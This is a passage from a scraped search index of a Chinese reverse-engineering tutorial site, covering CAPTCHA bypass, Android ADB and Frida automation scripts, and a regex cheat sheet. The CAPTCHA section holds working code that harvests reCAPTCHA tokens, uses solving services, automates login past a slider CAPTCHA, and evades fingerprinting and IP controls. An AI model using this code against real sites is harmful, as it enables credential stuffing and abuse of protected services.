requests.get(init_url, params={ 'gt': 'your_gt_key', 't': int(time.time() * 1000) }) data = response.json() challenge = data['challenge'] # 2. 生成轨迹 trajectory = generate_trajectory(gap_x) # 3. 计算 validate (简化版，实际需要逆向完整算法) validate = calculate_validate(trajectory, challenge) # 4. 提交验证 verify_url = \"https://api.geetest.com/ajax.php\" result = requests.post(verify_url, data={ 'gt': 'your_gt_key', 'challenge': challenge, 'validate': validate, 'seccode': validate + '|jordan' }) return result.json() 注意: 真实的极验算法非常复杂，包含多重加密、混淆和服务器端验证。上述代码仅为示意。 ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:5:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#31-极验-geetest-协议分析"},{"categories":null,"collections":null,"content":"3.2 reCAPTCHA 令牌获取 Google reCAPTCHA v2: from selenium import webdriver import time driver = webdriver.Chrome() driver.get('https://www.google.com/recaptcha/api2/demo') # 找到 reCAPTCHA iframe iframe = driver.find_element_by_css_selector('iframe[src*=\"recaptcha\"]') driver.switch_to.frame(iframe) # 点击复选框 checkbox = driver.find_element_by_id('recaptcha-anchor') checkbox.click() # 等待验证完成 time.sleep(3) # 切回主页面获取 token driver.switch_to.default_content() token = driver.find_element_by_id('g-recaptcha-response').get_attribute('value') print(f\"reCAPTCHA Token: {token}\") ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:5:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#32-recaptcha-令牌获取"},{"categories":null,"collections":null,"content":"4. 商业打码平台对比 当技术方案成本过高或成功率不稳定时，商业打码平台是最佳选择。 平台 价格 支持类型 成功率 响应时间 API 友好度 2Captcha $2.99/1000 次 文字、reCAPTCHA、hCaptcha、GeeTest 90%+ 10-30 秒 ⭐⭐⭐⭐⭐ Anti-Captcha $2.00/1000 次 全类型 92%+ 15-40 秒 ⭐⭐⭐⭐⭐ CapSolver $0.80/1000 次 reCAPTCHA、hCaptcha、FunCaptcha 88%+ 20-50 秒 ⭐⭐⭐⭐ Death By Captcha $1.39/1000 次 文字、图片 85%+ 30-60 秒 ⭐⭐⭐ 极验通 (国内) ¥0.5/次 极验专用 95%+ 5-15 秒 ⭐⭐⭐⭐ 超级鹰 (国内) ¥0.1-0.6/次 国内验证码 80%+ 10-30 秒 ⭐⭐⭐ ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:6:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#4-商业打码平台对比"},{"categories":null,"collections":null,"content":"4.1 2Captcha 使用示例 Python SDK: pip install 2captcha-python 代码示例: from twocaptcha import TwoCaptcha # 初始化 solver = TwoCaptcha('YOUR_API_KEY') # 1. 文字验证码 result = solver.normal('captcha.png') print(result['code']) # 输出: \"AB3CD\" # 2. reCAPTCHA v2 result = solver.recaptcha( sitekey='6Le-wvkSAAAAAPBMRTvw0Q4Muexq9bi0DJwx_mJ-', url='https://example.com/login' ) print(result['code']) # reCAPTCHA token # 3. hCaptcha result = solver.hcaptcha( sitekey='10000000-ffff-ffff-ffff-000000000001', url='https://example.com' ) # 4. GeeTest result = solver.geetest( gt='geetest_gt', challenge='geetest_challenge', url='https://example.com' ) print(result) # {'challenge': '...', 'validate': '...', 'seccode': '...'} ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:6:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#41-2captcha-使用示例"},{"categories":null,"collections":null,"content":"4.2 自建打码平台 对于大规模需求，可以考虑自建人工打码平台： 架构: 爬虫服务器 → 任务队列 (Redis) → 打码工作台 (Web) → 打码员 成本估算: 打码员工资: ¥0.05-0.10/次 服务器成本: ¥200/月 适用场景: 日处理量 \u003e 100,000 次 ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:6:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#42-自建打码平台"},{"categories":null,"collections":null,"content":"5. 实战案例 ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:7:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#5-实战案例"},{"categories":null,"collections":null,"content":"案例 1: 破解某电商网站登录滑块 目标: 自动化登录并获取 Cookie 步骤: 分析验证流程: 1) POST /api/login → 返回需要验证 2) GET /captcha/init → 获取背景图和滑块 3) 识别缺口位置 4) 生成轨迹 5) POST /captcha/verify → 提交轨迹 6) 验证通过后重新登录 完整代码: import ddddocr import requests from trajectory import generate_trajectory class LoginCracker: def __init__(self): self.session = requests.Session() self.det = ddddocr.DdddOcr(det=True) def login(self, username, password): # 1. 尝试登录 resp = self.session.post('https://example.com/api/login', data={ 'username': username, 'password': password }) if resp.json()['need_captcha']: # 2. 需要验证码 captcha_token = self.solve_captcha() # 3. 带验证码重新登录 resp = self.session.post('https://example.com/api/login', data={ 'username': username, 'password': password, 'captcha_token': captcha_token }) return resp.json() def solve_captcha(self): # 获取验证码图片 init_resp = self.session.get('https://example.com/captcha/init').json() bg_url = init_resp['bg_url'] # 下载背景图 bg_img = requests.get(bg_url).content # 识别缺口 result = self.det.detection(bg_img) gap_x = result['target'][0] # 生成轨迹 trajectory = generate_trajectory(gap_x) # 提交验证 verify_resp = self.session.post('https://example.com/captcha/verify', json={ 'token': init_resp['token'], 'trajectory': trajectory }) return verify_resp.json()['captcha_token'] # 使用 cracker = LoginCracker() result = cracker.login('username', 'password') print(result) ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:7:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#案例-1-破解某电商网站登录滑块"},{"categories":null,"collections":null,"content":"案例 2: 使用 Puppeteer + 2Captcha 破解 reCAPTCHA const puppeteer = require(\"puppeteer\"); const solver = require(\"2captcha\"); (async () =\u003e { const browser = await puppeteer.launch({ headless: false }); const page = await browser.newPage(); await page.goto(\"https://example.com/login\"); // 获取 reCAPTCHA sitekey const sitekey = await page.evaluate(() =\u003e { return document .querySelector(\"[data-sitekey]\") .getAttribute(\"data-sitekey\"); }); // 调用 2Captcha 解决 const captchaSolver = new solver.Solver(\"YOUR_API_KEY\"); const result = await captchaSolver.recaptcha(sitekey, page.url()); // 注入 token await page.evaluate((token) =\u003e { document.getElementById(\"g-recaptcha-response\").innerHTML = token; }, result.data); // 提交表单 await page.click(\"#submit-button\"); await page.waitForNavigation(); console.log(\"登录成功!\"); await browser.close(); })(); ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:7:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#案例-2-使用-puppeteer--2captcha-破解-recaptcha"},{"categories":null,"collections":null,"content":"6. 防御对抗 ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:8:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#6-防御对抗"},{"categories":null,"collections":null,"content":"6.1 验证码服务商的防御手段 防御手段 说明 对抗方法 设备指纹 Canvas、WebGL、AudioContext Puppeteer Stealth 插件 行为分析 鼠标轨迹、键盘节奏 ghost-cursor、真实轨迹重放 IP 风控 频率限制、黑名单 代理池、住宅 IP Token 绑定 令牌与设备/会话绑定 保持 Session、Cookie 时间戳校验 限制验证码有效期 加快识别速度 重放检测 检测轨迹是否重复 每次生成新轨迹 ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:8:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#61-验证码服务商的防御手段"},{"categories":null,"collections":null,"content":"6.2 最佳实践 组合策略: 识别 + 打码平台 (识别失败时降级) 速率控制: 避免短时间大量请求 真实环境: 使用真实浏览器而非无头模式 轨迹多样性: 不要使用固定轨迹模板 异常处理: 验证失败时重试而非崩溃 ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:8:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#62-最佳实践"},{"categories":null,"collections":null,"content":"7. 常见问题 ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:9:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#7-常见问题"},{"categories":null,"collections":null,"content":"Q1: ddddocr 识别率不高怎么办？ 解决方案: 图像预处理：去噪、二值化、增强对比度 尝试不同的 OCR 工具对比 考虑使用打码平台 ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:9:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#q1-ddddocr-识别率不高怎么办"},{"categories":null,"collections":null,"content":"Q2: 滑块总是验证失败？ 可能原因: 缺口识别不准确 轨迹太假（匀速直线） 设备指纹被识别 IP 被风控 调试方法: 在浏览器中手动验证是否通过 检查 Network 面板的验证响应 对比真人滑动的轨迹 ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:9:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#q2-滑块总是验证失败"},{"categories":null,"collections":null,"content":"Q3: 打码平台响应太慢？ 优化方法: 使用异步并发 预先识别简单验证码，复杂的才用打码 选择响应更快的平台（如极验通） ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:9:3","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#q3-打码平台响应太慢"},{"categories":null,"collections":null,"content":"8. 工具与资源 ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:10:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#8-工具与资源"},{"categories":null,"collections":null,"content":"推荐工具 工具 用途 链接 ddddocr 中文验证码 OCR https://github.com/sml2h3/ddddocr YOLOv8 目标检测 https://github.com/ultralytics/ultralytics ghost-cursor 自然鼠标轨迹 https://github.com/Xetera/ghost-cursor 2Captcha 商业打码平台 https://2captcha.com/ hcaptcha-solver hCaptcha 自动求解 https://github.com/QIN2DIM/hcaptcha-challenger ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:10:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#推荐工具"},{"categories":null,"collections":null,"content":"9. 总结 验证码对抗是一场永恒的猫鼠游戏。技术路线选择取决于： 个人学习: 手动识别 + 轨迹模拟（ddddocr + 贝塞尔曲线） 小规模爬虫: 打码平台（2Captcha、超级鹰） 大规模商业: 深度学习 + 行为伪造 + 分布式架构 终极方案: 真实设备 + 真实用户行为 + 指纹伪造 核心原则: 成本优先: 选择性价比最高的方案 稳定性优先: 牺牲一定速度换取成功率 合法合规: 遵守目标网站的服务条款 持续优化: 验证码在升级，方案也要迭代 ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:11:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#9-总结"},{"categories":null,"collections":null,"content":"相关章节 浏览器自动化脚本 浏览器指纹识别 Puppeteer 与 Playwright 动态参数分析 ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:12:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#相关章节"},{"categories":null,"collections":null,"content":"自动化脚本 (Automation Scripts) 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： ADB 速查手册 - 理解 ADB 命令基础 Python 基础 - 掌握 subprocess、文件操作等 在 Android 逆向工程中，自动化脚本可以极大地提高效率，例如自动安装 APK、重启应用、模拟点击以及批量处理设备。Python 是编写这些脚本的首选语言。 ","date":"2025-03-07","objectID":"/reverse_engineering/android/01-recipes/scripts/automation_scripts/:0:0","tags":["Frida脚本","Frida","代理池","Hook","Android","IDA Pro"],"title":"自动化脚本 (Automation Scripts)","uri":"/reverse_engineering/android/01-recipes/scripts/automation_scripts/#自动化脚本-automation-scripts"},{"categories":null,"collections":null,"content":"1. 基础 ADB 封装 (Python) 虽然可以直接在 shell 中运行 adb 命令，但在 Python 中封装一层可以更方便地进行逻辑控制。 import subprocess import time import os class AdbWrapper: def __init__(self, device_id=None): self.device_id = device_id def run_cmd(self, cmd): adb_cmd = [\"adb\"] if self.device_id: adb_cmd.extend([\"-s\", self.device_id]) adb_cmd.extend(cmd) try: result = subprocess.run( adb_cmd, capture_output=True, text=True, check=True ) return result.stdout.strip() except subprocess.CalledProcessError as e: print(f\"Error running command {' '.join(adb_cmd)}: {e.stderr}\") return None def install(self, apk_path): print(f\"Installing {apk_path}...\") return self.run_cmd([\"install\", \"-r\", apk_path]) def uninstall(self, package_name): print(f\"Uninstalling {package_name}...\") return self.run_cmd([\"uninstall\", package_name]) def start_app(self, package_name, activity_name): print(f\"Starting {package_name}/{activity_name}...\") return self.run_cmd([\"shell\", \"am\", \"start\", \"-n\", f\"{package_name}/{activity_name}\"]) def stop_app(self, package_name): print(f\"Stopping {package_name}...\") return self.run_cmd([\"shell\", \"am\", \"force-stop\", package_name]) def clear_data(self, package_name): print(f\"Clearing data for {package_name}...\") return self.run_cmd([\"shell\", \"pm\", \"clear\", package_name]) def click(self, x, y): return self.run_cmd([\"shell\", \"input\", \"tap\", str(x), str(y)]) def swipe(self, x1, y1, x2, y2, duration=500): return self.run_cmd([\"shell\", \"input\", \"swipe\", str(x1), str(y1), str(x2), str(y2), str(duration)]) def input_text(self, text): # Note: special characters might need escaping return self.run_cmd([\"shell\", \"input\", \"text\", text]) def screenshot(self, remote_path=\"/sdcard/screenshot.png\", local_path=\"screenshot.png\"): self.run_cmd([\"shell\", \"screencap\", \"-p\", remote_path]) self.run_cmd([\"pull\", remote_path, local_path]) print(f\"Screenshot saved to {local_path}\") # 使用示例 if __name__ == \"__main__\": adb = AdbWrapper() # 默认连接第一个设备 # 打印连接的设备 print(\"Devices:\", adb.run_cmd([\"devices\"])) # adb.start_app(\"com.example.app\", \"com.example.app.MainActivity\") # time.sleep(5) # adb.click(500, 1000) # adb.screenshot() ","date":"2025-03-07","objectID":"/reverse_engineering/android/01-recipes/scripts/automation_scripts/:1:0","tags":["Frida脚本","Frida","代理池","Hook","Android","IDA Pro"],"title":"自动化脚本 (Automation Scripts)","uri":"/reverse_engineering/android/01-recipes/scripts/automation_scripts/#1-基础-adb-封装-python"},{"categories":null,"collections":null,"content":"2. UIAutomator2 自动化 uiautomator2 是一个更强大的 UI 自动化库，可以更方便地进行元素定位和操作。 ","date":"2025-03-07","objectID":"/reverse_engineering/android/01-recipes/scripts/automation_scripts/:2:0","tags":["Frida脚本","Frida","代理池","Hook","Android","IDA Pro"],"title":"自动化脚本 (Automation Scripts)","uri":"/reverse_engineering/android/01-recipes/scripts/automation_scripts/#2-uiautomator2-自动化"},{"categories":null,"collections":null,"content":"安装 pip install uiautomator2 ","date":"2025-03-07","objectID":"/reverse_engineering/android/01-recipes/scripts/automation_scripts/:2:1","tags":["Frida脚本","Frida","代理池","Hook","Android","IDA Pro"],"title":"自动化脚本 (Automation Scripts)","uri":"/reverse_engineering/android/01-recipes/scripts/automation_scripts/#安装"},{"categories":null,"collections":null,"content":"使用示例 import uiautomator2 as u2 import time # 连接设备 (USB) d = u2.connect() # 或通过 WiFi: d = u2.connect('192.168.1.100') print(f\"Connected to device: {d.info}\") # 启动 App pkg_name = \"com.example.android.apis\" d.app_start(pkg_name) # 等待 App 启动 d.wait_activity(\".ApiDemos\", timeout=10) # 查找并点击元素 (支持多种选择器) try: # 通过文本查找并点击 if d(text=\"App\").exists: d(text=\"App\").click() # 通过 resourceId 查找 # d(resourceId=\"com.example:id/button\").click() # 滚动查找 (向下滑动直到找到文本为 'Notification' 元素) d(scrollable=True).scroll.to(text=\"Notification\") d(text=\"Notification\").click() # 输入文本 # d(resourceId=\"com.example:id/edit_text\").set_text(\"Hello World\") # 截图 d.screenshot(\"uiauto_screenshot.jpg\") except Exception as e: print(f\"Error: {e}\") finally: # 停止 App # d.app_stop(pkg_name) pass ","date":"2025-03-07","objectID":"/reverse_engineering/android/01-recipes/scripts/automation_scripts/:2:2","tags":["Frida脚本","Frida","代理池","Hook","Android","IDA Pro"],"title":"自动化脚本 (Automation Scripts)","uri":"/reverse_engineering/android/01-recipes/scripts/automation_scripts/#使用示例"},{"categories":null,"collections":null,"content":"3. 批量管理工具 用于批量安装 APK、设置代理等操作。 import os import glob from concurrent.futures import ThreadPoolExecutor class BatchManager: def __init__(self, adb_wrapper): self.adb = adb_wrapper def install_all(self, directory): \"\"\"批量安装目录下所有 APK\"\"\" apk_files = glob.glob(os.path.join(directory, \"*.apk\")) print(f\"Found {len(apk_files)} APKs.\") # 使用线程池并发安装 (注意：ADB 并发可能不稳定，视情况调整) with ThreadPoolExecutor(max_workers=3) as executor: executor.map(self.adb.install, apk_files) def setup_proxy(self, host, port): \"\"\"设置全局 HTTP 代理\"\"\" print(f\"Setting global http proxy to {host}:{port}...\") self.adb.run_cmd([\"shell\", \"settings\", \"put\", \"global\", \"http_proxy\", f\"{host}:{port}\"]) def clear_proxy(self): \"\"\"清除全局 HTTP 代理\"\"\" print(\"Clearing global http proxy...\") self.adb.run_cmd([\"shell\", \"settings\", \"put\", \"global\", \"http_proxy\", \":0\"]) def get_device_info(self): \"\"\"获取设备信息\"\"\" info = {} info['brand'] = self.adb.run_cmd([\"shell\", \"getprop\", \"ro.product.brand\"]) info['model'] = self.adb.run_cmd([\"shell\", \"getprop\", \"ro.product.model\"]) info['sdk'] = self.adb.run_cmd([\"shell\", \"getprop\", \"ro.build.version.sdk\"]) info['android'] = self.adb.run_cmd([\"shell\", \"getprop\", \"ro.build.version.release\"]) return info # 使用示例 if __name__ == \"__main__\": adb = AdbWrapper() manager = BatchManager(adb) # 批量安装当前目录下 apks 文件夹中所有 apk # manager.install_all(\"./apks\") # 设置代理以便抓包 # manager.setup_proxy(\"192.168.1.10\", \"8080\") # 获取设备信息 # info = manager.get_device_info() # print(info) ","date":"2025-03-07","objectID":"/reverse_engineering/android/01-recipes/scripts/automation_scripts/:3:0","tags":["Frida脚本","Frida","代理池","Hook","Android","IDA Pro"],"title":"自动化脚本 (Automation Scripts)","uri":"/reverse_engineering/android/01-recipes/scripts/automation_scripts/#3-批量管理工具"},{"categories":null,"collections":null,"content":"4. Frida 自动化脚本 结合 Frida 进行自动化 Hook。 import frida import sys import time def on_message(message, data): if message['type'] == 'send': print(f\"[*] {message['payload']}\") elif message['type'] == 'error': print(f\"[!] {message['stack']}\") def run_frida_script(package_name, script_path): \"\"\"运行 Frida 脚本\"\"\" try: # 连接设备 device = frida.get_usb_device(timeout=5) print(f\"[+] Connected to: {device}\") # 启动或附加到应用 try: pid = device.spawn([package_name]) session = device.attach(pid) spawned = True except: session = device.attach(package_name) spawned = False # 加载脚本 with open(script_path, 'r') as f: script_code = f.read() script = session.create_script(script_code) script.on('message', on_message) script.load() # 如果是 spawn 模式，恢复应用 if spawned: device.resume(pid) print(f\"[+] Script loaded, press Ctrl+C to exit\") sys.stdin.read() except KeyboardInterrupt: print(\"\\n[*] Exiting...\") except Exception as e: print(f\"[-] Error: {e}\") if __name__ == \"__main__\": run_frida_script(\"com.example.app\", \"hook_script.js\") ","date":"2025-03-07","objectID":"/reverse_engineering/android/01-recipes/scripts/automation_scripts/:4:0","tags":["Frida脚本","Frida","代理池","Hook","Android","IDA Pro"],"title":"自动化脚本 (Automation Scripts)","uri":"/reverse_engineering/android/01-recipes/scripts/automation_scripts/#4-frida-自动化脚本"},{"categories":null,"collections":null,"content":"5. 多设备管理 管理多台设备进行并行测试。 import subprocess from concurrent.futures import ThreadPoolExecutor def get_connected_devices(): \"\"\"获取所有已连接设备\"\"\" result = subprocess.run([\"adb\", \"devices\"], capture_output=True, text=True) lines = result.stdout.strip().split('\\n')[1:] # 跳过标题行 devices = [] for line in lines: if '\\t' in line: device_id, status = line.split('\\t') if status == 'device': devices.append(device_id) return devices def run_on_device(device_id, task_func, *args): \"\"\"在指定设备上运行任务\"\"\" adb = AdbWrapper(device_id) return task_func(adb, *args) def run_on_all_devices(task_func, *args): \"\"\"在所有设备上并行运行任务\"\"\" devices = get_connected_devices() print(f\"[+] Found {len(devices)} devices\") with ThreadPoolExecutor(max_workers=len(devices)) as executor: futures = [ executor.submit(run_on_device, device_id, task_func, *args) for device_id in devices ] results = [f.result() for f in futures] return results # 示例任务 def install_apk_task(adb, apk_path): return adb.install(apk_path) def screenshot_task(adb, output_dir): device_id = adb.device_id or \"default\" local_path = f\"{output_dir}/{device_id}_screenshot.png\" adb.screenshot(local_path=local_path) return local_path # 使用示例 if __name__ == \"__main__\": devices = get_connected_devices() print(f\"Connected devices: {devices}\") # 在所有设备上安装 APK # run_on_all_devices(install_apk_task, \"./app.apk\") # 在所有设备上截图 # run_on_all_devices(screenshot_task, \"./screenshots\") ","date":"2025-03-07","objectID":"/reverse_engineering/android/01-recipes/scripts/automation_scripts/:5:0","tags":["Frida脚本","Frida","代理池","Hook","Android","IDA Pro"],"title":"自动化脚本 (Automation Scripts)","uri":"/reverse_engineering/android/01-recipes/scripts/automation_scripts/#5-多设备管理"},{"categories":null,"collections":null,"content":"总结 自动化脚本是 Android 逆向工程的重要工具。通过 Python 封装 ADB 命令、使用 UIAutomator2 进行 UI 自动化、结合 Frida 进行动态分析，可以构建强大的自动化测试和分析流程。 ","date":"2025-03-07","objectID":"/reverse_engineering/android/01-recipes/scripts/automation_scripts/:6:0","tags":["Frida脚本","Frida","代理池","Hook","Android","IDA Pro"],"title":"自动化脚本 (Automation Scripts)","uri":"/reverse_engineering/android/01-recipes/scripts/automation_scripts/#总结"},{"categories":null,"collections":null,"content":"正则表达式速查表 ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:0:0","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#正则表达式速查表"},{"categories":null,"collections":null,"content":"常用元字符 元字符 说明 示例 . 任意单个字符（除换行） a.c 匹配 abc, a1c * 0 次或多次 ab* 匹配 a, ab, abb + 1 次或多次 ab+ 匹配 ab, abb (不匹配a) ? 0 次或 1 次 ab? 匹配 a, ab ^ 行首 ^hello 匹配行首的 hello $ 行尾 world$ 匹配行尾的 world \\ 转义字符 \\. 匹配点号 ` ` 或 `cat dog` 匹配 cat 或 dog [] 字符集 [abc] 匹配 a 或 b 或 c [^] 否定字符集 [^abc] 不匹配 a,b,c () 分组 (ab)+ 匹配 ab, abab ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:1:0","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#常用元字符"},{"categories":null,"collections":null,"content":"预定义字符类 字符类 等价于 说明 \\d [0-9] 数字 \\D [^0-9] 非数字 \\w [a-zA-Z0-9_] 单词字符 \\W [^a-zA-Z0-9_] 非单词字符 \\s [ \\t\\n\\r\\f\\v] 空白字符 \\S [^ \\t\\n\\r\\f\\v] 非空白字符 ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:2:0","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#预定义字符类"},{"categories":null,"collections":null,"content":"Web 逆向常用模式 ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:3:0","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#web-逆向常用模式"},{"categories":null,"collections":null,"content":"URL 匹配 # 完整 URL https?://[\\w\\-\\.]+(/[\\w\\-\\./?%\u0026=]*)? # 提取域名 https?://([^/]+) # 提取路径 https?://[^/]+(/[^?]+) # 提取查询参数 [?\u0026]([^=]+)=([^\u0026]+) # 提取所有 URL (宽松) https?://[^\\s]+ Python 示例: import re text = \"Visit https://example.com/api?key=value and http://test.com\" urls = re.findall(r'https?://[^\\s]+', text) # ['https://example.com/api?key=value', 'http://test.com'] ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:3:1","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#url-匹配"},{"categories":null,"collections":null,"content":"加密特征 # MD5 (32位十六进制) [a-f0-9]{32} # SHA1 (40位) [a-f0-9]{40} # SHA256 (64位) [a-f0-9]{64} # Base64 [A-Za-z0-9+/]{4,}={0,2} # JWT Token eyJ[A-Za-z0-9_-]+\\.eyJ[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+ # UUID [a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12} JavaScript 示例: const md5Pattern = /[a-f0-9]{32}/g; const md5Hashes = text.match(md5Pattern); ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:3:2","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#加密特征"},{"categories":null,"collections":null,"content":"API 响应提取 # JSON 字符串值 \"([^\"]+)\"\\s*:\\s*\"([^\"]+)\" # 提取 token [\"']token[\"']\\s*:\\s*[\"']([^\"']+)[\"'] # 提取数字ID [\"']id[\"']\\s*:\\s*(\\d+) # 提取所有键值对 [\"'](\\w+)[\"']\\s*:\\s*[\"']?([^,\"']+)[\"']? 示例: import re import json response = '{\"token\":\"abc123\",\"user_id\":12345}' # 提取 token token = re.search(r'\"token\"\\s*:\\s*\"([^\"]+)\"', response).group(1) # 'abc123' ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:3:3","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#api-响应提取"},{"categories":null,"collections":null,"content":"Cookie 提取 # 提取所有 Cookie ([^=]+)=([^;]+) # 提取特定 Cookie session_id=([^;]+) # 提取 Cookie 属性 ;\\s*(\\w+)=([^;]+) 示例: cookie_str = \"session_id=abc123; user=admin; expires=Wed, 21 Oct 2025\" cookies = dict(re.findall(r'([^=]+)=([^;]+)', cookie_str)) # {'session_id': 'abc123', 'user': 'admin', 'expires': 'Wed, 21 Oct 2025'} ","date":"2025-03-05","objectID":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/:3:4","tags":["Web","签名验证","速查表","加密分析","参考","反混淆"],"title":"正则表达式速查表","uri":"/reverse_engineering/web/08-cheat-sheets/regex_patterns/#cookie-提取"},{"categories":null,"collections":null,"content":"JavaScript 代码模式 # 函数定义 function\\s+(\\w+)\\s*\\([^)]*\\) # 变量声明 (var|let|const)\\s+(\\w+)\\s*=\\s*([^;]+) # 字符串字面量 [\"']([^\"']+)[\"'] # 数字字面量 \\b\\d+\\.?\\d*\\b # 注释 //.*$|/\\*[\\s\\S]*?\\*/ 